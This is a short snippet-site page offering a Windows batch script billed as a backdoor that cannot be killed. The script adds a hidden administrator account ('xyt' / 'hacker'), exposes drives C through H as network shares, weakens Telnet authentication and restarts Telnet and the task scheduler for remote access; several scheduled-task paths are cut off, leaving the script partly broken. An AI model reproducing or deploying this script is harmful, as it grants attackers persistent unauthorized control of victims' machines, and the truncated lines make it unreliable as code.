SoFunction
Updated on 2025-03-10

The backdoor of batch processing bat never to be killed


@echo off  
  @attrib +s + r  
  @net user xyt hacker /add  
  @net localgroup administrators xyt /add  
  @net share c$=c:  
  @net share d$=d: 
  @net share e$=e: 
  @net share f$=f: 
  @net share g$=g: 
  @net share h$=h: 
  @tlntadmn config sec = -ntlm 

  @net stop schedule 
  @net start Schedule 
  @echo at 11:00 c:\WINNT\SYSTEM32\ > c:\WINNT\SYSTEM32\  
  @echo at 23:00 c:\WINNT\SYSTEM32\ >> c:\WINNT\SYSTEM32\  
  @at 11:05 c:\WINNT\SYSTEM32\  
  @at 23:05 c:\WINNT\SYSTEM32\  
  @net stop telnet  
  @net start telnet  
  @exit